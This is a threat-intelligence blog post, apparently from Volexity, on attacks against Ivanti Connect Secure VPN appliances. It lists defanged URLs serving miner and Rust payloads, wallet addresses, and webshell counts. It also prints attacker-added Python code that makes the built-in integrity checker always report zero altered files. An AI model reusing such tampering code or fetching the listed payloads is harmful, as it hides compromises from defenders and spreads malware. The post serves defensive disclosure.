Ivanti Connect Secure VPN Exploitation: New Observations

1/18/2024

January 18, 2024

by Matthew Meltzer, Sean Koessel, Steven Adair

On January 15, 2024, Volexity detailed widespread exploitation of Ivanti Connect Secure VPN vulnerabilities CVE-2024-21887 and CVE-2023-46805. In that blog post, Volexity detailed broader scanning and exploitation by threat actors using still non-public exploits to compromise numerous devices. The following day, January 16, 2024, proof-of-concept code for the exploit was made public. Subsequently, Volexity has observed an increase in attacks from various threat actors against Ivanti Connect Secure VPN appliances beginning the same day.

Additionally, Volexity has continued its investigation into activity conducted by UTA0178 and made a few notable discoveries. The first relates to the GIFTEDVISITOR webshell that Volexity scanned for, which led to the initial discovery of over 1,700 compromised Ivanti Connect Secure VPN devices. On January 16, 2024, Volexity conducted a new scan for this backdoor and found an additional 368 compromised Ivanti Connect Secure VPN appliances, bringing the total count of systems infected by GIFTEDVISITOR to over 2,100.

The second discovery came from further analysis of an Ivanti Connect Secure VPN appliance compromised in December 2023. Volexity found that UTA0178 had made modifications to the in-built Integrity Checker Tool. These modifications would result in the in-built Integrity Checker Tool always reporting that there were no new or mismatched files regardless of how many were identified. Administrative review of system logs would show no issues of concern.

Volexity also recently learned of a potential issue that organizations may be facing when attempting to bring fresh Ivanti Connect Secure VPN appliances back online that leave them in a vulnerable state. These findings may partially account for why there has been an increase in compromised systems in subsequent scans. This issue, and more on the findings referenced above, are detailed in the sections that follow.

Widespread Criminal Exploitation

On January 16, 2023, Volexity began observing broad exploitation against Ivanti Connect Secure VPN appliances from criminal threat actors. Volexity believes these attackers likely obtained the exploits needed to compromise Ivanti Connect Secure VPN appliances through public proof-of-concept code. Volexity observed that following exploitation, vulnerable Ivanti Connect Secure VPN appliances would download malicious code from a variety of different attacker-controlled URLs.

In at least one instance, Volexity observed an attacker deploying XMRig cryptocurrency miners. They did this by downloading and executing payloads from the following URLs:

- hxxp://192.252.183[.] 116:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh
- hxxp://192.252.183[.]116:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json
- hxxp://192.252.183[.] 116:8089/u/123/100123/202401/sshd

This would result in an XMRig cryptocurrency miner being deployed that will use the mining pool auto.c3pool[.]org:19999. The mined currency would be credited to the following two wallets:

- `45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsn`
- `43uAMN5SYT45ZQqeNS6jkW5ssKjm7N4bmLT5uL49bvxGJnsPywn2zPhQA8nHc9XTGXavrstGj3pFy4geh3dV2x9`

In addition to the cryptocurrency miner, Volexity has also observed multiple URLs being used to download a Rust-based payload. Analysis of this malware is still underway, but the URLs observed for downloads are as follows:

- hxxp://abode-dashboard-media.s3.ap-south-1.amazonaws[.]com/kaffMm40RNtkg
- hxxp://archivevalley-media.s3.amazonaws[.]com/bbU5Yn3yayTtV
- hxxp://blooming.s3.amazonaws[.]com/Ea7fbW98CyM5O
- hxxp://shapefiles.fews.net.s3.amazonaws[.]com/g6cYGAxHt4JC1

Additional details on each of the observed files can be found here.

Recent UTA0178 Activity and Updates

On January 16, 2024, Volexity conducted a new scan to identify systems with the GIFTEDVISITOR webshell. The scans yielded an additional 368 compromised Ivanti Connect Secure VPN appliances, bringing the count of systems with the webshell to over 2,100. Volexity's investigations also determined that in multiple breaches, attackers have been stealing configuration data, web logs, and database files associated with accounts, session data, and more from Ivanti Connect Secure VPN appliances. These files were then placed in various Internet-accessible folders to be downloaded remotely. Volexity believes this is likely associated with UTA0178 and it may be partially automated.

In addition to finding newly compromised systems, Volexity also identified additional tradecraft employed by UTA0178 on compromised Ivanti Connect Secure VPN appliances. Further analysis of an Ivanti Connect Secure VPN appliance that was compromised in December 2023 led to Volexity finding a modification to `/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg`.

This EGG file, which is a ZIP archive, appears to be associated with the system's built-in Integrity Checker Tool. Within the archive, UTA0178 appears to have made a modification to `scanner/scripts/scanner.py`. Analysis of this file uncovered evidence that it had been modified so the system's built-in Integrity Checker Tool would always indicate no findings, even if new or mismatched files were actually detected. The following snippet of Python code in `scanner.py` shows what was added to the file to accomplish this:

```
def dumpStats(self):
    self.newFilesCount = self.getNewFilesCount()
    self.mismatchCount = self.getMismatchedFilesCount()
    self.matchCount = self.getMatchedFilesCount()
    self.matchCount = self.matchCount + self.mismatchCount
    self.newFilesCount = 0
    self.mismatchCount = 0

    if self.newFilesCount == 0 and self.mismatchCount == 0:
        self.printLogs(EVENT.SCANNERSUCCESS.value, "Integrity Scan Results : Matched Files {0}, Newly Detected Files {1}, Mismatched Files {2}".
            format(self.matchCount, self.newFilesCount, self.mismatchCount))
```

The highlighted content is not part of the legitimate scanner.py file. This code will ensure the total file count will include any new or mismatched files, and that the new and mismatched file count displayed in logs is always set to zero. This appears to be an interesting attempt by UTA0178 to evade detection by organizations actively looking to find evidence of compromise on their Ivanti Connect Secure VPN appliances.

Proper Order for Applying Mitigations When Restoring Ivanti Connect Secure VPN Appliance Configs

Volexity has also become aware of multiple cases where organizations running a freshly deployed Ivanti Connect Secure VPN appliance had applied the mitigation but were then re-compromised. It turns out these organizations had first applied the mitigation to protect the Ivanti Connect Secure VPN appliance, and then imported previous backup

configuration files. In doing so, it appears the backup configuration negates or otherwise removes the mitigation that was put in place.

Organizations must apply the mitigation **after** importing any backup configurations in order to prevent potential re-compromise of a device that was thought to be mitigated.

Conclusion

Activity related to UTA0178 suggests this threat actor continues to compromise Ivanti Connect Secure VPN appliances with the GIFTEDVISITOR webshell and exfiltrate various data in a likely automated fashion. Newly identified information also suggests that UTA0178 has attempted to find ways to circumvent the built-in Integrity Checker Tool. This increases the importance of organizations proactively running the external Integrity Checker Tool to further examine systems not showing signs of compromise.

Widespread exploitation of Ivanti Connect Secure VPN appliances by criminal actors is now adding additional malware and threat activity into the mix for organizations that have not applied the mitigation. Volexity suspects it is likely additional threat actors, potentially those tied to extortion and ransomware, will take advantage of vulnerable systems.

It is critically important that organizations running Ivanti Connect Secure VPN appliance ensure the following:

- The mitigation is applied in the proper order, applying it **after** importing any backup configurations.
- The external Integrity Checker Tool results do not show signs of compromise.
- Once a patch becomes available, it is applied as soon as possible.

Related indicators can also be downloaded from the Volexity GitHub page:

- Single value indicators

  Where Volexity has a known contact, national CERTs have been contacted in order to notify them of victims in their constituency. If you are a national CERT, and you have not received a message from Volexity but would like a list of affected IP addresses in your country, please contact threatintel@volexity.com.